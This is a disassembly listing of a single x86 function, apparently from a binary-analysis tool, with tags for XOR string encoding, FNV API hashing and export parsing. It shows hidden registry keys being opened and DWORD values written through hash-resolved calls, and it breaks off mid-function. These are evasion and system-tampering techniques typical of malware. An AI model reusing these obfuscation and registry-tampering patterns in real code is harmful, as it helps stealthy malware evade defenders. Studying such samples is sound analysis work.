Function at 0x41c3f0
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x52c7e3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x4e0
push esi
push edi
push 2
push 0
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x4c], 0x35378eac
mov dword [ebp - 0x48], 0x11d2683f
mov dword [ebp - 0x44], 0xc0009aa8
mov dword [ebp - 0x40], 0xa2cfbb4f
call dword [sym.imp.ole32.dll_CoInitializeEx]
test eax, eax
je 0x41c465
cmp eax, 1
je 0x41c465
cmp eax, 0x80010106
jne 0x41de01
mov dword [ebp - 0x2c], 0
lea eax, [ebp - 0x2c]
mov dword [ebp - 4], 0
push eax
push 0x54c4fc
push 1
push 0
push 0x544104
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov eax, dword [ebp - 0x2c]
push 1
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
test eax, eax
js 0x41ddcf
mov eax, dword [ebp - 0x2c]
lea edx, [ebp - 0x34]
push edx
push 2
push eax
mov ecx, dword [eax]
call dword [ecx + 0x3c]
test eax, eax
js 0x41ddcf
movaps xmm0, xmmword [0x552240]
xor ecx, ecx
movups xmmword [ebp - 0xb2], xmm0
mov dword [ebp - 0x82], 0x8b9295b3
movaps xmm0, xmmword [0x551340]
movups xmmword [ebp - 0xa2], xmm0
mov word [ebp - 0x7e], 0x8a8c
movaps xmm0, xmmword [0x551700]
movups xmmword [ebp - 0x92], xmm0
mov byte [ebp - 0x7c], 0x96
xorps xmm0, xmm0
mov dword [ebp - 0x6b], 0
movups xmmword [ebp - 0x7b], xmm0
mov word [ebp - 0x67], 0
mov byte [ebp - 0x65], 0
nop dword [eax]
lea eax, [ecx - 0x51]
xor byte [ebp + ecx - 0xb2], al
inc ecx
cmp ecx, 0x37
jb 0x41c510
mov dword [0x565640], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0xb2]
mov byte [ebp - 0x7b], 0
movups xmmword [ebp - 0x64], xmm0
mov dword [ebp - 0x54], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x50], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41c548
sub ecx, edx
lea eax, [ebp - 0xb2]
push ecx
push eax
lea ecx, [ebp - 0x64]
call fcn.00402c40
cmp dword [ebp - 0x50], 0x10
lea ecx, [ebp - 0xb8]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
lea eax, [ebp - 0x64]
cmovae eax, dword [ebp - 0x64]
push 0
push ecx
push 0
push 0x20006
push 1
push 0
push 0
push eax
push dword [ebp - 0x34]
call esi
mov ecx, dword [ebp - 0x50]
test eax, eax
sete al
mov byte [ebp - 0x21], al
cmp ecx, 0x10
jb 0x41c5cd
mov edx, dword [ebp - 0x64]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41c5c0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41de14
push ecx
push edx
call fcn.00504f31
mov al, byte [ebp - 0x21]
add esp, 8
test al, al
je 0x41c76f
movaps xmm0, xmmword [0x551bc0]
xor ecx, ecx
movups xmmword [ebp - 0x3a8], xmm0
mov dword [ebp - 0x398], 0xacaea9cc
xorps xmm0, xmm0
mov byte [ebp - 0x394], 0xb0
movups xmmword [ebp - 0x393], xmm0
mov dword [ebp - 0x383], 0
mov word [ebp - 0x37f], 0
mov byte [ebp - 0x37d], 0
nop word [eax + eax]
lea eax, [ecx - 0x51]
xor byte [ebp + ecx - 0x3a8], al
inc ecx
cmp ecx, 0x15
jb 0x41c620
mov dword [0x5655ac], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x3a8]
mov byte [ebp - 0x393], 0
movups xmmword [ebp - 0x64], xmm0
mov dword [ebp - 0x54], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x50], 0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41c660
sub ecx, edx
lea eax, [ebp - 0x3a8]
push ecx
push eax
lea ecx, [ebp - 0x64]
call fcn.00402c40
mov byte [ebp - 4], 1
lea eax, [ebp - 0x64]
cmp dword [ebp - 0x50], 0x10
cmovae eax, dword [ebp - 0x64]
mov dword [ebp - 0x18], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x20], ecx
cmp ecx, esi
je 0x41c6ff
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x41c6ff
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x24], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x41c6f5
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x41c6d8
cmp esi, 0xda5113dc
je 0x41c703
mov ecx, dword [ebp - 0x24]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x41c6c0
mov eax, dword [eax]
jmp 0x41c697
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x14]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x28]
push ecx
push 4
push 0
push dword [ebp - 0x18]
add eax, edx
push dword [ebp - 0xb8]
call eax
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x50]
cmp ecx, 0x10
jb 0x41c769
mov edx, dword [ebp - 0x64]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41c75f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41de19
push ecx
push edx
call fcn.00504f31
add esp, 8
mov esi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
movaps xmm0, xmmword [0x552240]
xor ecx, ecx
movups xmmword [ebp - 0x493], xmm0
mov word [ebp - 0x453], 0x8381
movaps xmm0, xmmword [0x551340]
movups xmmword [ebp - 0x483], xmm0
mov dword [ebp - 0x441], 0
movaps xmm0, xmmword [0x551700]
movups xmmword [ebp - 0x473], xmm0
mov word [ebp - 0x43d], 0
movaps xmm0, xmmword [0x550d30]
movups xmmword [ebp - 0x463], xmm0
mov byte [ebp - 0x43b], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x451], xmm0
nop word [eax + eax]
lea eax, [ecx - 0x51]
xor byte [ebp + ecx - 0x493], al
inc ecx
cmp ecx, 0x42
jb 0x41c7e0
mov dword [0x565604], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x493]
mov byte [ebp - 0x451], 0
movups xmmword [ebp - 0x2a8], xmm0
mov dword [ebp - 0x298], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x294], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41c824
sub ecx, edx
lea eax, [ebp - 0x493]
push ecx
push eax
lea ecx, [ebp - 0x2a8]
call fcn.00402c40
cmp dword [ebp - 0x294], 0x10
lea ecx, [ebp - 0xbc]
push 0
push ecx
push 0
push 0x20006
push 1
push 0
lea eax, [ebp - 0x2a8]
cmovae eax, dword [ebp - 0x2a8]
push 0
push eax
push dword [ebp - 0x34]
call esi
mov ecx, dword [ebp - 0x294]
test eax, eax
sete al
mov byte [ebp - 0x21], al
cmp ecx, 0x10
jb 0x41c8b5
mov edx, dword [ebp - 0x2a8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41c8a8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41de1e
push ecx
push edx
call fcn.00504f31
mov al, byte [ebp - 0x21]
add esp, 8
test al, al
je 0x41ca57
xor eax, eax
mov word [ebp - 0xd6], 0xc8ca
xorps xmm0, xmm0
mov word [ebp - 0x24], ax
mov byte [ebp - 0xd4], 0xd4
xor ecx, ecx
movups xmmword [ebp - 0xd3], xmm0
mov dword [ebp - 0xc3], eax
mov word [ebp - 0xbf], ax
mov byte [ebp - 0xbd], al
lea eax, [ecx - 0x51]
xor byte [ebp + ecx - 0xd6], al
inc ecx
cmp ecx, 3
jb 0x41c8f2
mov dword [0x565590], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0xd6]
mov byte [ebp - 0xd3], 0
movups xmmword [ebp - 0x2c0], xmm0
mov dword [ebp - 0x2b0], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x2ac], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41c936
sub ecx, edx
lea eax, [ebp - 0xd6]
push ecx
push eax
lea ecx, [ebp - 0x2c0]
call fcn.00402c40
mov byte [ebp - 4], 2
lea eax, [ebp - 0x2c0]
cmp dword [ebp - 0x2ac], 0x10
cmovae eax, dword [ebp - 0x2c0]
mov dword [ebp - 0x1c], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x20], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x41c9e7
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x41c9e7
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x18], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x41c9dd
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x41c9c0
cmp esi, 0xda5113dc
je 0x41c9eb
mov ecx, dword [ebp - 0x18]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x41c9a5
mov eax, dword [eax]
jmp 0x41c980
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x20]
push 2
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x24]
push ecx
push 1
push 0
push dword [ebp - 0x1c]
add eax, edx
push dword [ebp - 0xbc]
call eax
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x2ac]
cmp ecx, 0x10
jb 0x41ca57
mov edx, dword [ebp - 0x2c0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41ca4d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41de23
push ecx
push edx
call fcn.00504f31
add esp, 8
movaps xmm0, xmmword [0x552240]
xor ecx, ecx
movups xmmword [ebp - 0xa7], xmm0
mov dword [ebp - 0x87], 0xf2a2a7a0
movaps xmm0, xmmword [0x551340]
movups xmmword [ebp - 0x97], xmm0
mov dword [ebp - 0x83], 0xb3b3b197
xorps xmm0, xmm0
mov dword [ebp - 0x7f], 0xa8bcbcb9
movups xmmword [ebp - 0x7b], xmm0
mov dword [ebp - 0x6b], 0
mov word [ebp - 0x67], 0
mov byte [ebp - 0x65], 0
nop dword [eax + eax]
lea eax, [ecx - 0x51]
xor byte [ebp + ecx - 0xa7], al
inc ecx
cmp ecx, 0x2c
jb 0x41cab0
mov dword [0x5655b8], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0xa7]
mov byte [ebp - 0x7b], 0
movups xmmword [ebp - 0x2d8], xmm0
mov dword [ebp - 0x2c8], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x2c4], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41caf1
sub ecx, edx
lea eax, [ebp - 0xa7]
push ecx
push eax
lea ecx, [ebp - 0x2d8]
call fcn.00402c40
cmp dword [ebp - 0x2c4], 0x10
lea ecx, [ebp - 0x3c]
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 0x2d8]
cmovae eax, dword [ebp - 0x2d8]
push ecx
push 0x20006
push 1
push eax
push dword [ebp - 0x34]
call esi
mov ecx, dword [ebp - 0x2c4]
test eax, eax
sete al
mov byte [ebp - 0x21], al
cmp ecx, 0x10
jb 0x41cb7d
mov edx, dword [ebp - 0x2d8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41cb70
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41de28
push ecx
push edx
call fcn.00504f31
mov al, byte [ebp - 0x21]
add esp, 8
test al, al
je 0x41cee2
movaps xmm0, xmmword [0x5523c0]
xor ecx, ecx
movups xmmword [ebp - 0x412], xmm0
mov word [ebp - 0x402], 0xa5cd
xorps xmm0, xmm0
mov dword [ebp - 0x3f0], 0
movups xmmword [ebp - 0x400], xmm0
mov word [ebp - 0x3ec], 0
mov byte [ebp - 0x3ea], 0
lea eax, [ecx - 0x51]
xor byte [ebp + ecx - 0x412], al
inc ecx
cmp ecx, 0x12
jb 0x41cbc2
mov dword [0x5655dc], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x412]
mov byte [ebp - 0x400], 0
movups xmmword [ebp - 0x2f0], xmm0
mov dword [ebp - 0x2e0], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x2dc], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41cc06
sub ecx, edx
lea eax, [ebp - 0x412]
push ecx
push eax
lea ecx, [ebp - 0x2f0]
call fcn.00402c40
mov byte [ebp - 4], 3
lea eax, [ebp - 0x2f0]
cmp dword [ebp - 0x2dc], 0x10
cmovae eax, dword [ebp - 0x2f0]
mov dword [ebp - 0x20], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x18], ecx
cmp ecx, esi
je 0x41ccb7
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x41ccb7
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x1c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x41ccad
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x41cc90
cmp esi, 0xda5113dc
je 0x41ccbb
mov ecx, dword [ebp - 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x41cc75
mov eax, dword [eax]
jmp 0x41cc50
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x28]
push ecx
push 4
push 0
push dword [ebp - 0x20]
add eax, edx
push dword [ebp - 0x3c]
call eax
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x2dc]
cmp ecx, 0x10
jb 0x41cd24
mov edx, dword [ebp - 0x2f0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41cd1a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41de2d
push ecx
push edx
call fcn.00504f31
add esp, 8
movaps xmm0, xmmword [0x5517e0]
xor ecx, ecx
movups xmmword [ebp - 0x109], xmm0
mov dword [ebp - 0xf9], 0xabaaa1eb
xorps xmm0, xmm0
mov dword [ebp - 0xf5], 0xa584a3ad
mov dword [ebp - 0xf1], 0xa4a6a1b3
movups xmmword [ebp - 0xed], xmm0
mov dword [ebp - 0xdd], 0
mov word [ebp - 0xd9], 0
mov byte [ebp - 0xd7], 0
nop word [eax + eax]
lea eax, [ecx - 0x51]
xor byte [ebp + ecx - 0x109], al
inc ecx
cmp ecx, 0x1c
jb 0x41cd80
mov dword [0x5655f4], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x109]
mov byte [ebp - 0xed], 0
movups xmmword [ebp - 0x308], xmm0
mov dword [ebp - 0x2f8], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x2f4], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41cdc4
sub ecx, edx
lea eax, [ebp - 0x109]
push ecx
push eax
lea ecx, [ebp - 0x308]
call fcn.00402c40
mov byte [ebp - 4], 4
lea eax, [ebp - 0x308]
cmp dword [ebp - 0x2f4], 0x10
cmovae eax, dword [ebp - 0x308]
mov dword [ebp - 0x20], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x18], ecx
cmp ecx, esi
je 0x41ce6f
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x41ce6f
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x1c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x41ce65
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x41ce48
cmp esi, 0xda5113dc
je 0x41ce73
mov ecx, dword [ebp - 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x41ce30
mov eax, dword [eax]
jmp 0x41ce07
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x28]
push ecx
push 4
push 0
push dword [ebp - 0x20]
add eax, edx
push dword [ebp - 0x3c]
call eax
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x2f4]
cmp ecx, 0x10
jb 0x41cedc
mov edx, dword [ebp - 0x308]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41ced2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41de32
push ecx
push edx
call fcn.00504f31
add esp, 8
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
movaps xmm0, xmmword [0x552240]
xor ecx, ecx
movups xmmword [ebp - 0x3e9], xmm0
mov dword [ebp - 0x3c9], 0x8ea2a7a0
movaps xmm0, xmmword [0x551340]
movups xmmword [ebp - 0x3d9], xmm0
mov dword [ebp - 0x3c5], 0xa2a6ad80
xorps xmm0, xmm0
mov word [ebp - 0x3c1], 0xb5b2
movups xmmword [ebp - 0x3bf], xmm0
mov dword [ebp - 0x3af], 0
mov word [ebp - 0x3ab], 0
mov byte [ebp - 0x3a9], 0
lea eax, [ecx - 0x51]
xor byte [ebp + ecx - 0x3e9], al
inc ecx
cmp ecx, 0x2a
jb 0x41cf41
mov dword [0x56561c], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x3e9]
mov byte [ebp - 0x3bf], 0
movups xmmword [ebp - 0x320], xmm0
mov dword [ebp - 0x310], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x30c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41cf85
sub ecx, edx
lea eax, [ebp - 0x3e9]
push ecx
push eax
lea ecx, [ebp - 0x320]
call fcn.00402c40
cmp dword [ebp - 0x30c], 0x10
lea ecx, [ebp - 0x38]
push ecx
push 0x20006
lea eax, [ebp - 0x320]
cmovae eax, dword [ebp - 0x320]
push 1
push eax
push dword [ebp - 0x34]
call esi
mov ecx, dword [ebp - 0x30c]
test eax, eax
sete al
mov byte [ebp - 0x21], al
cmp ecx, 0x10
jb 0x41d00b
mov edx, dword [ebp - 0x320]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41cffe
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41de37
push ecx
push edx
call fcn.00504f31
mov al, byte [ebp - 0x21]
add esp, 8
test al, al
je 0x41d1bc
movaps xmm0, xmmword [0x552260]
xor eax, eax
cmp dword [ebp - 0x28], 1
movups xmmword [ebp - 0x43a], xmm0
setne al
mov byte [ebp - 0x42a], 0xd1
xorps xmm0, xmm0
mov dword [ebp - 0x20], eax
movups xmmword [ebp - 0x429], xmm0
mov dword [ebp - 0x419], 0
xor ecx, ecx
mov word [ebp - 0x415], 0
mov byte [ebp - 0x413], 0
nop word [eax + eax]
lea eax, [ecx - 0x51]
xor byte [ebp + ecx - 0x43a], al
inc ecx
cmp ecx, 0x11
jb 0x41d060
mov dword [0x565634], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x43a]
mov byte [ebp - 0x429], 0
movups xmmword [ebp - 0x338], xmm0
mov dword [ebp - 0x328], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x324], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41d0a4
sub ecx, edx
lea eax, [ebp - 0x43a]
push ecx
push eax
lea ecx, [ebp - 0x338]
call fcn.00402c40
mov byte [ebp - 4], 5
lea eax, [ebp - 0x338]
cmp dword [ebp - 0x324], 0x10
cmovae eax, dword [ebp - 0x338]
mov dword [ebp - 0x24], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x18], ecx
cmp ecx, esi
je 0x41d14f
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x41d14f
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x1c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x41d145
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x41d128
cmp esi, 0xda5113dc
je 0x41d153
mov ecx, dword [ebp - 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x41d110
mov eax, dword [eax]
jmp 0x41d0e7
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x20]
push ecx
push 4
push 0
push dword [ebp - 0x24]
add eax, edx
push dword [ebp - 0x38]
call eax
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x324]
cmp ecx, 0x10
jb 0x41d1bc
mov edx, dword [ebp - 0x338]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41d1b2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41de3c
push ecx
push edx
call fcn.00504f31
add esp, 8
movaps xmm0, xmmword [0x552240]
xor ecx, ecx
movups xmmword [ebp - 0x4eb], xmm0
mov byte [ebp - 0x4ab], 0x81
movaps xmm0, xmmword [0x551340]
movups xmmword [ebp - 0x4db], xmm0
mov dword [ebp - 0x49a], 0
movaps xmm0, xmmword [0x551790]
movups xmmword [ebp - 0x4cb], xmm0
mov word [ebp - 0x496], 0
movaps xmm0, xmmword [0x550d20]
movups xmmword [ebp - 0x4bb], xmm0
mov byte [ebp - 0x494], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x4aa], xmm0
lea eax, [ecx - 0x51]
xor byte [ebp + ecx - 0x4eb], al
inc ecx
cmp ecx, 0x41
jb 0x41d221
mov dword [0x5655d4], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x4eb]
mov byte [ebp - 0x4aa], 0
movups xmmword [ebp - 0x350], xmm0
mov dword [ebp - 0x340], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x33c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41d265
sub ecx, edx
lea eax, [ebp - 0x4eb]
push ecx
push eax
lea ecx, [ebp - 0x350]
call fcn.00402c40
cmp dword [ebp - 0x33c], 0x10
lea ecx, [ebp - 0x30]
push 0
push ecx
push 0
push 0x20006
push 1
push 0
lea eax, [ebp - 0x350]
cmovae eax, dword [ebp - 0x350]
push 0
push eax
push dword [ebp - 0x34]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov ecx, dword [ebp - 0x33c]
test eax, eax
sete al
mov byte [ebp - 0x21], al
cmp ecx, 0x10
jb 0x41d2f7
mov edx, dword [ebp - 0x350]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41d2ea
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41de41
push ecx
push edx
call fcn.00504f31
mov al, byte [ebp - 0x21]
add esp, 8
test al, al
je 0x41dd24
movaps xmm0, xmmword [0x552660]
xor ecx, ecx
movups xmmword [ebp - 0x19d], xmm0
mov dword [ebp - 0x18d], 0xb6a8aed0
xorps xmm0, xmm0
mov dword [ebp - 0x189], 0xa8acb6ac
mov byte [ebp - 0x185], 0xa0
movups xmmword [ebp - 0x184], xmm0
mov dword [ebp - 0x174], 0
mov word [ebp - 0x170], 0
mov byte [ebp - 0x16e], 0
nop
lea eax, [ecx - 0x51]
xor byte [ebp + ecx - 0x19d], al
inc ecx
cmp ecx, 0x19
jb 0x41d350
mov dword [0x565638], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x19d]
mov byte [ebp - 0x184], 0
movups xmmword [ebp - 0x218], xmm0
mov dword [ebp - 0x208], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x204], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41d394
sub ecx, edx
lea eax, [ebp - 0x19d]
push ecx
push eax
lea ecx, [ebp - 0x218]
call fcn.00402c40
mov byte [ebp - 4], 6
lea eax, [ebp - 0x218]
cmp dword [ebp - 0x204], 0x10
cmovae eax, dword [ebp - 0x218]
mov dword [ebp - 0x20], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x18], ecx
cmp ecx, esi
je 0x41d43f
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x41d43f
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x1c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x41d435
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x41d418
cmp esi, 0xda5113dc
je 0x41d443
mov ecx, dword [ebp - 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x41d400
mov eax, dword [eax]
jmp 0x41d3d7
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x28]
push ecx
push 4
push 0
push dword [ebp - 0x20]
add eax, edx
push dword [ebp - 0x30]
call eax
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x204]
cmp ecx, 0x10
jb 0x41d4ac
mov edx, dword [ebp - 0x218]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41d4a2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41de46
push ecx
push edx
call fcn.00504f31
add esp, 8
movaps xmm0, xmmword [0x552600]
xor ecx, ecx
movups xmmword [ebp - 0x1cd], xmm0
mov dword [ebp - 0x1bd], 0xa7b5afcd
xorps xmm0, xmm0
mov dword [ebp - 0x1b9], 0xa9acb0a0
mov byte [ebp - 0x1b5], 0xa9
movups xmmword [ebp - 0x1b4], xmm0
mov dword [ebp - 0x1a4], 0
